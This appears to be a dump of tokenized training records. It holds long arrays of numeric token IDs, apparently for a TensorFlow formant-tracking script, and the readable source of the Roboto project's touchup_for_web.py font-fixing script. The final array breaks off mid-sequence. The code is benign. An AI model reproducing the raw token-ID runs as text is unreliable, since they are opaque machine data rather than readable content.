29923, 13152, 3210, 29903, 29892, 2847, 29918, 1022, 2878, 29922, 4230, 29918, 1022, 2878, 29892, 29871, 13, 795, 8845, 29918, 1272, 29922, 791, 29918, 29881, 842, 29892, 26952, 29922, 6565, 27737, 537, 29892, 13, 795, 6939, 29879, 11759, 4299, 29918, 3198, 3149, 29918, 14035, 29892, 4688, 29918, 7864, 3262, 29918, 14035, 2314, 13, 1678, 10876, 29889, 25393, 29889, 23126, 580, 13, 13, 1678, 565, 274, 16434, 29889, 2287, 18476, 29918, 5607, 8032, 29918, 20387, 8547, 29901, 13, 4706, 1596, 14182, 29876, 2772, 1026, 292, 1661, 29899, 13318, 4733, 3045, 1159, 13, 4706, 9281, 353, 15886, 29889, 14968, 29889, 12333, 29918, 3198, 3149, 29898, 1545, 2495, 381, 29897, 13, 4706, 363, 474, 297, 13149, 29889, 23705, 29898, 1545, 2495, 381, 718, 5591, 4299, 29889, 1022, 2878, 20605, 1125, 13, 9651, 565, 451, 474, 29889, 27382, 2541, 29898, 12333, 1125, 13, 18884, 396, 2158, 703, 2772, 1026, 292, 613, 474, 29897, 13, 18884, 2897, 29889, 5992, 29898, 29875, 29897, 13, 13, 13, 29937, 835, 3251, 1218, 883, 424, 16257, 373, 1243, 2066, 13, 29937, 29871, 13, 29937, 450, 3579, 11294, 29918, 5325, 580, 1068, 740, 6057, 263, 16370, 1904, 373, 263, 1051, 310, 10742, 5325, 29892, 14655, 883, 424, 20398, 1432, 274, 16434, 29889, 29943, 4717, 2303, 29918, 10810, 22027, 29918, 29924, 1660, 29907, 3533, 21462, 313, 29945, 286, 3471, 491, 2322, 467, 4525, 20398, 526, 7160, 297, 1426, 2066, 29892, 411, 697, 1962, 1196, 363, 1432, 3515, 29889, 450, 4341, 310, 278, 1962, 934, 5718, 310, 278, 1494, 297, 1797, 29901, 278, 10422, 29892, 278, 931, 1298, 297, 3533, 21462, 29892, 322, 769, 278, 3001, 1353, 310, 27396, 2925, 313, 3733, 267, 2298, 24786, 467, 910, 338, 5643, 491, 278, 4128, 313, 10745, 23860, 29892, 3719, 2103, 29892, 322, 22252, 8192, 29892, 297, 393, 1797, 29897, 310, 278, 1248, 267, 29892, 297, 1797, 310, 10231, 2099, 10868, 29892, 322, 769, 1906, 310, 278, 24786, 29892, 297, 1797, 310, 10231, 2099, 8380, 10868, 29889, 2648, 2322, 29892, 278, 29511, 526, 9904, 937, 29892, 769, 3719, 2103, 29879, 29892, 769, 22252, 8192, 313, 29875, 29889, 29872, 29889, 383, 29896, 383, 29906, 383, 29941, 2023, 350, 29896, 350, 29906, 350, 29941, 2023, 2992, 9774, 541, 445, 508, 367, 26263, 304, 385, 1006, 280, 10511, 20520, 29892, 474, 29889, 29872, 29889, 383, 29896, 350, 29896, 319, 29896, 29892, 383, 29906, 350, 29906, 319, 29906, 29892, 2992, 1696, 491, 4444, 278, 5285, 3443, 383, 1525, 13356, 1430, 8426, 2890, 29918, 3738, 29934, 1254, 304, 7700, 29889, 259, 13, 29937, 1678, 13, 29937, 450, 2983, 322, 14354, 310, 1438, 1962, 1426, 2066, 8839, 373, 3692, 385, 1962, 3884, 1024, 338, 4944, 29889, 960, 577, 29892, 1987, 599, 310, 278, 1962, 1426, 2066, 526, 6087, 297, 445, 3884, 29889, 1763, 5557, 1024, 5321, 12112, 29892, 278, 1962, 10422, 338, 10723, 515, 491, 17415, 599, 24765, 267, 297, 278, 1881, 2224, 978, 304, 23400, 29883, 2361, 1192, 541, 304, 3273, 264, 278, 2983, 29892, 738, 2847, 760, 310, 278, 1881, 2224, 393, 338, 3619, 304, 599, 310, 278, 2066, 338, 2175, 714, 29889, 1094, 385, 8632, 362, 29892, 278, 1494, 1342, 3697, 278, 6590, 1962, 2983, 363, 263, 1051, 310, 29871, 29941, 1881, 2066, 29901, 13, 29937, 29871, 13, 29937, 5335, 277, 29914, 1688, 29914, 7707, 29896, 29914, 29888, 10327, 29900, 29914, 4977, 29896, 29889, 29893, 485, 1599, 714, 3972, 29914, 7707, 29896, 29918, 29888, 10327, 29900, 29918, 4977, 29896, 29889, 3945, 259, 13, 29937, 5335, 277, 29914, 1688, 29914, 7707, 29896, 29914, 29888, 10327, 29900, 29914, 4977, 29906, 29889, 29893, 485, 1599, 714, 3972, 29914, 7707, 29896, 29918, 29888, 10327, 29900, 29918, 4977, 29906, 29889, 3945, 259, 13, 29937, 5335, 277, 29914, 1688, 29914, 7707, 29906, 29914, 29888, 4912, 29878, 29900, 29914, 4977, 29896, 29889, 29893, 485, 1599, 714, 3972, 29914, 7707, 29906, 29918, 29888, 4912, 29878, 29900, 29918, 4977, 29896, 29889, 3945, 259, 13, 29937, 29871, 13, 29937, 1551, 278, 916, 1361, 29892, 565, 385, 1962, 3884, 1024, 338, 3579, 1333, 1068, 4944, 29892, 769, 1269, 1962, 934, 338, 3971, 304, 278, 1021, 3884, 408, 278, 6590, 1881, 934, 29892, 411, 278, 1021, 1024, 408, 278, 10742, 1445, 541, 263, 1422, 6081, 14544, 3945, 467, 259, 13, 29937, 29871, 13, 29937, 512, 2845, 1206, 29892, 278, 934, 6081, 508, 367, 3939, 3025, 278, 5285, 934, 313, 12015, 29918, 12194, 467, 13, 29937, 29871, 13, 29937, 5901, 11486, 29901, 13, 29937, 334, 4001, 727, 338, 3078, 297, 278, 2888, 6410, 775, 2038, 393, 10121, 17006, 697, 883, 424, 515, 1790, 313, 294, 680, 515, 1248, 267, 23797, 24786, 511, 322, 738, 310, 963, 508, 2125, 10868, 1819, 1546, 341, 24065, 1525, 29984, 322, 18134, 29943, 1525, 29984, 29892, 278, 1904, 1962, 26808, 787, 1122, 5706, 278, 883, 1934, 297, 738, 4036, 1797, 313, 26492, 393, 1797, 674, 367, 4868, 515, 697, 3515, 304, 278, 2446, 29936, 321, 29889, 29887, 29889, 565, 26808, 265, 29871, 29941, 16785, 383, 29896, 363, 697, 3515, 29892, 372, 947, 577, 363, 599, 16608, 322, 2066, 467, 5702, 29918, 5325, 580, 337, 20488, 278, 883, 1934, 491, 1009, 2099, 29511, 975, 599, 16608, 29889, 13, 29937, 334, 5702, 29918, 5325, 580, 3620, 278, 29511, 310, 278, 3677, 5560, 1934, 313, 3298, 359, 29897, 304, 8178, 1819, 29892, 304, 20820, 963, 515, 278, 1248, 267, 29889, 3115, 29892, 1951, 278, 3677, 5560, 1934, 1016, 29915, 29873, 505, 1009, 1914, 28347, 26385, 13879, 29892, 263, 12983, 995, 310, 376, 29896, 29889, 29900, 29908, 338, 15478, 29889, 13, 29937, 334, 1152, 1962, 19854, 29892, 372, 29915, 29879, 4100, 304, 6456, 393, 278, 2847, 376, 314, 2830, 8192, 29908, 5759, 491, 278, 1904, 526, 451, 2869, 2186, 883, 424, 22252, 8192, 29892, 541, 3265, 7688, 292, 13879, 393, 526, 1304, 304, 10365, 278, 2847, 883, 424, 22252, 8192, 5759, 491, 883, 424, 2141, 2648, 2322, 29892, 5702, 29918, 5325, 580, 14734, 304, 3588, 1438, 7688, 292, 13879, 304, 376, 6370, 29908, 883, 424, 28347, 21875, 313, 4187, 1074, 5195, 3035, 2303, 363, 901, 2472, 467, 29871, 910, 6030, 508, 367, 3939, 304, 5706, 278, 2441, 7688, 292, 13879, 491, 6480, 278, 5285, 3443, 5195, 1964, 29918, 19297, 29931, 1806, 29965, 2287, 29903, 304, 7700, 29889, 13, 29937, 334, 853, 4561, 278, 3017, 12078, 297, 8519, 29906, 29900, 29906, 29896, 29914, 322, 2621, 4162, 29906, 29900, 29906, 29896, 19637, 5702, 29918, 5325, 580, 884, 23233, 278, 2186, 9016, 7615, 1560, 29877, 6046, 310, 278, 1962, 4128, 29936, 278, 1353, 310, 1560, 29877, 6046, 14517, 338, 20704, 491, 350, 1177, 29918, 29903, 6720, 2891, 29950, 29918, 29925, 3289, 1660, 29903, 313, 4381, 29871, 29896, 29900, 467, 13, 13, 29937, 512, 29961, 4514, 29901, 13, 13, 13, 1753, 5702, 29918, 5325, 29898, 1688, 1761, 29892, 1904, 29892, 534, 12676, 29892, 534, 4172, 29892, 274, 16434, 29892, 714, 3972, 29922, 8516, 1125, 13, 268, 13, 1678, 1053, 931, 13, 1678, 1369, 29918, 2230, 353, 931, 29889, 546, 29888, 29918, 11808, 580, 13, 13, 1678, 620, 29883, 744, 29918, 7529, 353, 679, 29918, 690, 29883, 744, 29918, 9144, 29898, 16859, 29897, 13, 13, 1678, 565, 714, 3972, 338, 451, 6213, 29901, 13, 4706, 2897, 29889, 29885, 12535, 12935, 29898, 449, 3972, 29892, 1863, 29918, 554, 29922, 5574, 29897, 13, 13, 4706, 396, 6362, 837, 457, 920, 1568, 310, 278, 3884, 2224, 338, 3619, 304, 599, 1243, 2066, 13, 4706, 343, 353, 518, 29875, 29889, 5451, 11974, 1159, 363, 474, 297, 1243, 1761, 29962, 13, 4706, 302, 29918, 9435, 29918, 13506, 267, 353, 29871, 29900, 13, 4706, 289, 353, 29871, 29900, 13, 4706, 363, 474, 297, 343, 29961, 29900, 5387, 13, 9651, 363, 432, 297, 343, 29961, 29896, 29901, 5387, 13, 18884, 565, 313, 29926, 29961, 29876, 29918, 9435, 29918, 13506, 267, 29962, 2804, 474, 1125, 13, 462, 1678, 289, 353, 29871, 29896, 13, 462, 1678, 2867, 13, 9651, 565, 289, 1275, 29871, 29896, 29901, 13, 18884, 2867, 13, 9651, 1683, 29901, 13, 18884, 302, 29918, 9435, 29918, 13506, 267, 4619, 29871, 29896, 13, 13, 1678, 1596, 14182, 29876, 5631, 1218, 613, 7431, 29898, 1688, 1761, 511, 376, 4905, 2066, 29901, 1159, 13, 1678, 363, 10422, 297, 1243, 1761, 29901, 13, 13, 4706, 396, 6362, 837, 457, 1962, 17525, 322, 977, 264, 1280, 13, 4706, 565, 10422, 29889, 1975, 2541, 17350, 29893, 485, 29908, 1125, 13, 9651, 3273, 978, 353, 10422, 29889, 2288, 2830, 17350, 613, 29871, 29896, 9601, 29900, 29962, 13, 4706, 1683, 29901, 13, 9651, 3273, 978, 353, 10422, 13, 4706, 565, 714, 3972, 338, 6213, 29901, 13, 9651, 714, 978, 353, 3273, 978, 718, 525, 6169, 718, 274, 16434, 29889, 12015, 29918, 12194, 13, 4706, 1683, 29901, 13, 9651, 3273, 978, 353, 11119, 1642, 7122, 29898, 12759, 978, 29889, 5451, 11974, 1159, 29961, 29876, 29918, 9435, 29918, 13506, 267, 29901, 2314, 13, 9651, 714, 978, 353, 714, 3972, 718, 5591, 29908, 718, 3273, 978, 718, 525, 6169, 718, 274, 16434, 29889, 12015, 29918, 12194, 13, 4706, 1596, 29898, 9507, 29892, 376, 1599, 9162, 714, 978, 29897, 13, 4706, 10876, 29889, 25393, 29889, 23126, 580, 13, 13, 4706, 396, 9842, 393, 591, 8343, 278, 2066, 697, 472, 263, 931, 304, 679, 1272, 580, 13, 4706, 7431, 29888, 29892, 285, 29896, 353, 679, 1272, 4197, 9507, 1402, 274, 16434, 29892, 26952, 29922, 29900, 29897, 13, 4706, 396, 14769, 475, 29892, 278, 1881, 848, 1818, 367, 4226, 1891, 491, 278, 6694, 731, 13964, 13, 4706, 285, 29906, 353, 313, 29888, 29896, 448, 534, 12676, 29897, 847, 534, 4172, 13, 4706, 396, 2528, 263, 4654, 313, 16175, 29897, 9927, 577, 393, 3515, 5665, 508, 367, 1303, 4153, 491, 1904, 13, 4706, 285, 29906, 353, 15886, 29889, 18837, 29918, 6229, 29879, 29898, 29888, 29906, 29892, 9685, 29922, 29900, 29897, 13, 4706, 396, 5631, 403, 883, 424, 27303, 13, 4706, 343, 353, 1904, 29889, 27711, 29898, 29888, 29906, 9601, 29900, 29962, 13, 4706, 396, 2538, 29883, 744, 322, 337, 6388, 675, 1962, 13, 4706, 285, 29892, 289, 29892, 263, 353, 620, 29883, 744, 29918, 7529, 29898, 29891, 29897, 13, 4706, 503, 29888, 353, 285, 29889, 23749, 580, 13, 4706, 4022, 353, 263, 29889, 23749, 580, 13, 4706, 22015, 353, 289, 29889, 23749, 580, 308, 13, 13, 4706, 396, 14806, 3677, 5560, 424, 29511, 304, 8178, 3694, 29892, 322, 29871, 13, 4706, 396, 4635, 12983, 376, 29896, 29889, 29900, 29908, 363, 3677, 5560, 424, 22252, 8192, 29889, 13, 4706, 396, 1987, 2656, 883, 1934, 322, 3677, 5560, 1934, 16949, 491, 10231, 10868, 29889, 13, 4706, 565, 274, 16434, 29889, 29940, 29999, 1001, 3267, 1405, 29871, 29900, 29901, 13, 9651, 285, 29886, 29892, 285, 29900, 353, 15886, 29889, 5451, 29898, 29920, 29888, 29892, 518, 16859, 29889, 29940, 22051, 27616, 9375, 29892, 274, 16434, 29889, 29940, 29999, 1001, 3267, 1402, 9685, 10457, 29896, 29897, 13, 9651, 285, 29900, 353, 285, 29900, 334, 448, 29896, 29889, 29900, 13, 9651, 503, 29888, 353, 15886, 29889, 17685, 4197, 18091, 29892, 285, 29900, 1402, 9685, 10457, 29896, 29897, 13, 9651, 263, 29900, 353, 15886, 29889, 2873, 4197, 1362, 29889, 12181, 29961, 29900, 1402, 274, 16434, 29889, 29940, 29999, 1001, 3267, 1402, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 9651, 4022, 353, 15886, 29889, 17685, 4197, 1362, 29892, 263, 29900, 1402, 9685, 10457, 29896, 29897, 268, 13, 9651, 4356, 29896, 353, 7442, 29889, 29882, 1429, 3552, 9302, 29889, 5085, 441, 29898, 9302, 29889, 12676, 29898, 18091, 29892, 9685, 29922, 29900, 8243, 29871, 13, 462, 795, 313, 9302, 29889, 29888, 3466, 29898, 9302, 29889, 5085, 441, 29898, 9302, 29889, 12676, 29898, 29888, 29900, 29892, 9685, 29922, 29900, 876, 718, 274, 16434, 29889, 29940, 22051, 27616, 9375, 13697, 13, 4706, 1683, 29901, 13, 9651, 4356, 29896, 353, 7442, 29889, 5085, 441, 29898, 9302, 29889, 12676, 29898, 9302, 29889, 6897, 29898, 29920, 29888, 511, 8990, 29922, 29900, 876, 13, 13, 4706, 396, 14806, 28347, 10365, 358, 13879, 304, 1565, 21875, 310, 22252, 8192, 13, 4706, 565, 274, 16434, 29889, 1525, 1964, 29918, 19297, 29931, 1806, 29965, 2287, 29903, 29901, 13, 9651, 4022, 29906, 353, 29871, 29896, 29900, 29889, 29900, 3579, 313, 1362, 847, 29871, 29906, 29900, 29889, 29900, 29897, 13, 9651, 503, 29888, 29906, 353, 503, 29888, 3579, 29871, 29906, 29889, 29900, 13, 9651, 22015, 29906, 353, 313, 29920, 29890, 3579, 29871, 29906, 29889, 29900, 29897, 847, 29871, 29946, 29889, 29900, 13, 9651, 954, 353, 4022, 29906, 334, 313, 29920, 29888, 29906, 718, 22015, 29906, 29897, 13, 9651, 972, 353, 5135, 29946, 29889, 29900, 334, 22015, 29906, 334, 503, 29888, 29906, 29897, 718, 313, 29920, 29890, 29906, 3579, 29871, 29906, 29889, 29900, 876, 3579, 29871, 29900, 29889, 29945, 13, 9651, 7548, 353, 954, 847, 972, 13, 9651, 4022, 353, 29871, 29906, 29900, 29889, 29900, 334, 7442, 29889, 1188, 29896, 29900, 29898, 16859, 29889, 29943, 3927, 1955, 718, 7548, 29897, 13, 13, 4706, 396, 20025, 4128, 297, 278, 1797, 383, 29896, 383, 29906, 383, 29941, 2023, 350, 29896, 350, 29906, 350, 29941, 2023, 319, 29896, 319, 29906, 319, 29941, 2023, 13, 4706, 565, 274, 16434, 29889, 29943, 1525, 13356, 1430, 8426, 2890, 29918, 3738, 29934, 1254, 29901, 13, 9651, 4356, 29906, 353, 518, 29875, 363, 474, 297, 4356, 29896, 29962, 718, 518, 29875, 29974, 16859, 29889, 3059, 5005, 363, 474, 297, 4356, 29896, 29962, 718, 518, 29875, 29974, 16859, 29889, 3059, 5005, 29930, 29906, 363, 474, 297, 4356, 29896, 29962, 13, 4706, 396, 13466, 1962, 297, 1797, 383, 29896, 350, 29896, 319, 29896, 383, 29906, 350, 29906, 319, 29906, 383, 29941, 350, 29941, 319, 29941, 2023, 29871, 13, 4706, 1683, 29901, 13, 9651, 282, 353, 17288, 29875, 29892, 474, 29974, 16859, 29889, 3059, 5005, 29892, 474, 17108, 16859, 29889, 3059, 5005, 29930, 29906, 876, 363, 474, 297, 4356, 29896, 29962, 13, 9651, 4356, 29906, 353, 2533, 29898, 29886, 29892, 313, 876, 13, 13, 4706, 396, 1938, 9016, 7615, 1560, 29877, 6046, 310, 1962, 29892, 565, 738, 13, 4706, 24724, 353, 7442, 29889, 29882, 1429, 3552, 29920, 29888, 29892, 22015, 29892, 4022, 876, 13, 4706, 363, 474, 297, 3464, 29898, 16859, 29889, 29933, 1177, 29918, 29903, 6720, 2891, 29950, 29918, 29925, 3289, 1660, 29903, 1125, 13, 9651, 24724, 353, 7442, 29889, 29894, 1429, 3552, 29900, 29889, 29955, 29945, 29930, 29920, 29886, 29961, 29900, 29962, 718, 29871, 29900, 29889, 29906, 29945, 29930, 29920, 29886, 29961, 29896, 1402, 13, 462, 632, 29900, 29889, 29945, 29930, 29920, 29886, 29961, 29896, 13018, 29896, 26073, 718, 29871, 29900, 29889, 29906, 29945, 29930, 29920, 29886, 29961, 29906, 29901, 26073, 718, 29871, 29900, 29889, 29906, 29945, 29930, 29920, 29886, 7503, 29899, 29906, 29892, 1402, 13, 462, 632, 29900, 29889, 29955, 29945, 29930, 29920, 29886, 14352, 29896, 29962, 718, 29871, 29900, 29889, 29906, 29945, 29930, 29920, 29886, 14352, 29906, 12622, 13, 13, 4706, 396, 14350, 304, 1962, 934, 13, 4706, 714, 29896, 353, 24724, 7503, 29892, 536, 29906, 29962, 13, 4706, 14336, 353, 1722, 29898, 449, 978, 29892, 376, 29893, 1159, 13, 4706, 363, 474, 297, 3464, 29898, 449, 29896, 29889, 12181, 29961, 29900, 29962, 1125, 13, 9651, 14336, 29889, 3539, 703, 8875, 12365, 29889, 29896, 29888, 29913, 6571, 259, 11393, 4830, 29898, 12759, 978, 29892, 474, 334, 274, 16434, 29889, 29943, 4717, 2303, 29918, 10810, 22027, 29918, 29924, 1660, 29907, 29892, 274, 16434, 29889, 3059, 5005, 876, 13, 9651, 714, 29896, 29961, 29875, 29892, 29901, 1822, 517, 1445, 29898, 600, 29892, 16345, 543, 9162, 3402, 543, 15543, 29906, 29888, 1159, 13, 9651, 14336, 29889, 3539, 703, 320, 29876, 1159, 13, 4706, 14336, 29889, 5358, 580, 13, 308, 13, 1678, 260, 353, 931, 29889, 546, 29888, 29918, 11808, 580, 448, 1369, 29918, 2230, 13, 1678, 1596, 703, 11536, 23110, 931, 29901, 12365, 29889, 29906, 29888, 29913, 1375, 21313, 29901, 29889, 29906, 29888, 29913, 5226, 29914, 1445, 29897, 1642, 4830, 29898, 29873, 29914, 29953, 29900, 29889, 29900, 29892, 260, 29914, 2435, 29898, 1688, 1761, 4961, 13, 13, 13, 29937, 444, 5920, 367, 6152, 3460, 13, 13, 29937, 512, 29961, 4514, 29901, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 1053, 383, 29940, 29918, 13305, 13, 1678, 274, 16434, 353, 383, 29940, 29918, 13305, 29889, 13305, 580, 13, 1678, 274, 16434, 29889, 17591, 29898, 8516, 29897, 13, 1678, 1904, 353, 4529, 29918, 4299, 29898, 16859, 29897, 13, 13, 2 ]
scripts/touchup_for_web.py
BennZoll/roboto
3,933
30719
<reponame>BennZoll/roboto<gh_stars>1000+ #!/usr/bin/python # # Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Post-build web fonts changes for Roboto.""" import sys from fontTools import ttLib from nototools import font_data import temporary_touchups def apply_web_specific_fixes(font, unhinted, family_name): """Apply fixes needed for web fonts.""" # set vertical metrics to old values hhea = font['hhea'] hhea.ascent = 1900 hhea.descent = -500 os2 = font['OS/2'] os2.sTypoAscender = 1536 os2.sTypoDescender = -512 os2.sTypoLineGap = 102 os2.usWinAscent = 1946 os2.usWinDescent = 512 # correct anything else needed for both web and Chrome OS apply_web_cros_common_fixes(font, unhinted, family_name) def apply_web_cros_common_fixes(font, unhinted, family_name): """Apply fixes needed for web and CrOS targets""" subfamily_name = font_data.get_name_records(font)[2].encode('ASCII') assert(subfamily_name in ['Thin', 'Thin Italic', 'Light', 'Light Italic', 'Regular', 'Italic', 'Medium', 'Medium Italic', 'Bold', 'Bold Italic', 'Black', 'Black Italic']) if 'Condensed' in font_data.get_name_records(font)[1]: family_name += ' Condensed' full_name = family_name if subfamily_name != 'Regular': full_name += ' ' + subfamily_name # Family, subfamily names font_data.set_name_record(font, 16, family_name) style_map = ['Regular', 'Bold', 'Italic', 'Bold Italic'] if subfamily_name in style_map: font_data.set_name_record(font, 1, family_name) else: weight = subfamily_name.split()[0] new_family_name = family_name if weight != 'Regular': new_family_name += ' ' + weight font_data.set_name_record(font, 1, new_family_name) # all weights outside regular and bold should only have subfamily # "Regular" or "Italic" italic = subfamily_name.endswith('Italic') font_data.set_name_record(font, 2, style_map[italic << 1]) # Unique identifier and full name font_data.set_name_record(font, 3, full_name) font_data.set_name_record(font, 4, full_name) font_data.set_name_record(font, 18, None) # PostScript name font_data.set_name_record( font, 6, (family_name+'-'+subfamily_name).replace(' ', '')) # Copyright message font_data.set_name_record( font, 0, 'Copyright 2011 Google Inc. All Rights Reserved.') # hotpatch glyphs by swapping # https://github.com/google/roboto/issues/18 glyf = font['glyf'] glyf['chi'], glyf['chi.alt'] = glyf['chi.alt'], glyf['chi'] # make glyph orders consistent for feature copying # https://github.com/google/roboto/issues/71 glyph_order = font.getGlyphOrder() for i, glyph_name in enumerate(glyph_order): if glyph_name.endswith('.lnum'): new_name = glyph_name.replace('.lnum', '.pnum') glyph_order[i] = new_name font['glyf'][new_name] = font['glyf'][glyph_name] # append old name to glyph order so del succeeds glyph_order.append(glyph_name) del font['glyf'][glyph_name] # copy features from unhinted # https://github.com/google/roboto/pull/163 for table in ['GDEF', 'GPOS', 'GSUB']: font[table] = unhinted[table] def correct_font(source_name, unhinted_name, target_font_name, family_name): """Corrects metrics and other meta information.""" font = ttLib.TTFont(source_name) unhinted = ttLib.TTFont(unhinted_name) # apply web-specific fixes before shared, so that sub/family names are # correct for black weights and their bold bits will be set apply_web_specific_fixes(font, unhinted, family_name) temporary_touchups.apply_temporary_fixes(font, is_for_web=True) temporary_touchups.update_version_and_revision(font) font.save(target_font_name) def main(argv): """Correct the font specified in the command line.""" correct_font(*argv[1:]) if __name__ == "__main__": main(sys.argv)
[ 1, 529, 276, 1112, 420, 29958, 29933, 2108, 29999, 3028, 29914, 13716, 3747, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29900, 29900, 29900, 29974, 13, 29937, 14708, 4855, 29914, 2109, 29914, 4691, 13, 29937, 13, 29937, 14187, 1266, 29871, 29906, 29900, 29896, 29945, 5087, 9266, 29889, 2178, 26863, 2538, 9841, 29889, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 13, 15945, 29908, 6747, 29899, 4282, 1856, 23849, 3620, 363, 6417, 3747, 1213, 15945, 13, 13, 5215, 10876, 13, 13, 3166, 4079, 24183, 1053, 260, 29873, 14868, 13, 3166, 451, 327, 8789, 1053, 4079, 29918, 1272, 13, 13, 5215, 13201, 29918, 16747, 14340, 13, 13, 13, 1753, 3394, 29918, 2676, 29918, 14940, 29918, 5878, 267, 29898, 5657, 29892, 28859, 524, 287, 29892, 3942, 29918, 978, 1125, 13, 1678, 9995, 2052, 368, 24626, 4312, 363, 1856, 23849, 1213, 15945, 13, 13, 1678, 396, 731, 11408, 21556, 304, 2030, 1819, 13, 1678, 298, 354, 29874, 353, 4079, 1839, 29882, 354, 29874, 2033, 13, 1678, 298, 354, 29874, 29889, 294, 1760, 353, 29871, 29896, 29929, 29900, 29900, 13, 1678, 298, 354, 29874, 29889, 2783, 1760, 353, 448, 29945, 29900, 29900, 13, 13, 1678, 2897, 29906, 353, 4079, 1839, 3267, 29914, 29906, 2033, 13, 1678, 2897, 29906, 29889, 29879, 21314, 1129, 29909, 1557, 1581, 353, 29871, 29896, 29945, 29941, 29953, 13, 1678, 2897, 29906, 29889, 29879, 21314, 1129, 19617, 1581, 353, 448, 29945, 29896, 29906, 13, 1678, 2897, 29906, 29889, 29879, 21314, 1129, 3542, 29954, 481, 353, 29871, 29896, 29900, 29906, 13, 1678, 2897, 29906, 29889, 375, 17734, 29909, 1557, 296, 353, 29871, 29896, 29929, 29946, 29953, 13, 1678, 2897, 29906, 29889, 375, 17734, 4002, 1760, 353, 29871, 29945, 29896, 29906, 13, 13, 1678, 396, 1959, 3099, 1683, 4312, 363, 1716, 1856, 322, 10228, 6570, 13, 1678, 3394, 29918, 2676, 29918, 29883, 1883, 29918, 9435, 29918, 5878, 267, 29898, 5657, 29892, 28859, 524, 287, 29892, 3942, 29918, 978, 29897, 13, 13, 13, 1753, 3394, 29918, 2676, 29918, 29883, 1883, 29918, 9435, 29918, 5878, 267, 29898, 5657, 29892, 28859, 524, 287, 29892, 3942, 29918, 978, 1125, 13, 1678, 9995, 2052, 368, 24626, 4312, 363, 1856, 322, 6781, 3267, 22525, 15945, 29908, 13, 1678, 1014, 11922, 29918, 978, 353, 4079, 29918, 1272, 29889, 657, 29918, 978, 29918, 3757, 4339, 29898, 5657, 9601, 29906, 1822, 12508, 877, 28599, 2687, 1495, 13, 1678, 4974, 29898, 1491, 11922, 29918, 978, 297, 13, 4706, 6024, 1349, 262, 742, 525, 1349, 262, 4041, 293, 742, 13, 308, 525, 20769, 742, 525, 20769, 4041, 293, 742, 13, 308, 525, 4597, 1070, 742, 525, 10512, 293, 742, 13, 308, 525, 19302, 1974, 742, 525, 19302, 1974, 4041, 293, 742, 13, 308, 525, 29933, 1025, 742, 525, 29933, 1025, 4041, 293, 742, 13, 308, 525, 18700, 742, 525, 18700, 4041, 293, 11287, 13, 13, 1678, 565, 525, 10983, 21144, 29915, 297, 4079, 29918, 1272, 29889, 657, 29918, 978, 29918, 3757, 4339, 29898, 5657, 9601, 29896, 5387, 13, 4706, 3942, 29918, 978, 4619, 525, 11790, 21144, 29915, 13, 1678, 2989, 29918, 978, 353, 3942, 29918, 978, 13, 1678, 565, 1014, 11922, 29918, 978, 2804, 525, 4597, 1070, 2396, 13, 4706, 2989, 29918, 978, 4619, 525, 525, 718, 1014, 11922, 29918, 978, 13, 13, 1678, 396, 14662, 29892, 1014, 11922, 2983, 13, 1678, 4079, 29918, 1272, 29889, 842, 29918, 978, 29918, 11651, 29898, 5657, 29892, 29871, 29896, 29953, 29892, 3942, 29918, 978, 29897, 13, 1678, 3114, 29918, 1958, 353, 6024, 4597, 1070, 742, 525, 29933, 1025, 742, 525, 10512, 293, 742, 525, 29933, 1025, 4041, 293, 2033, 13, 1678, 565, 1014, 11922, 29918, 978, 297, 3114, 29918, 1958, 29901, 13, 4706, 4079, 29918, 1272, 29889, 842, 29918, 978, 29918, 11651, 29898, 5657, 29892, 29871, 29896, 29892, 3942, 29918, 978, 29897, 13, 1678, 1683, 29901, 13, 4706, 7688, 353, 1014, 11922, 29918, 978, 29889, 5451, 580, 29961, 29900, 29962, 13, 4706, 716, 29918, 11922, 29918, 978, 353, 3942, 29918, 978, 13, 4706, 565, 7688, 2804, 525, 4597, 1070, 2396, 13, 9651, 716, 29918, 11922, 29918, 978, 4619, 525, 525, 718, 7688, 13, 4706, 4079, 29918, 1272, 29889, 842, 29918, 978, 29918, 11651, 29898, 5657, 29892, 29871, 29896, 29892, 716, 29918, 11922, 29918, 978, 29897, 13, 13, 4706, 396, 599, 18177, 5377, 4943, 322, 14288, 881, 871, 505, 1014, 11922, 13, 4706, 396, 376, 4597, 1070, 29908, 470, 376, 10512, 293, 29908, 13, 4706, 4698, 293, 353, 1014, 11922, 29918, 978, 29889, 1975, 2541, 877, 10512, 293, 1495, 13, 4706, 4079, 29918, 1272, 29889, 842, 29918, 978, 29918, 11651, 29898, 5657, 29892, 29871, 29906, 29892, 3114, 29918, 1958, 29961, 2410, 293, 3532, 29871, 29896, 2314, 13, 13, 1678, 396, 853, 1387, 15882, 322, 2989, 1024, 13, 1678, 4079, 29918, 1272, 29889, 842, 29918, 978, 29918, 11651, 29898, 5657, 29892, 29871, 29941, 29892, 2989, 29918, 978, 29897, 13, 1678, 4079, 29918, 1272, 29889, 842, 29918, 978, 29918, 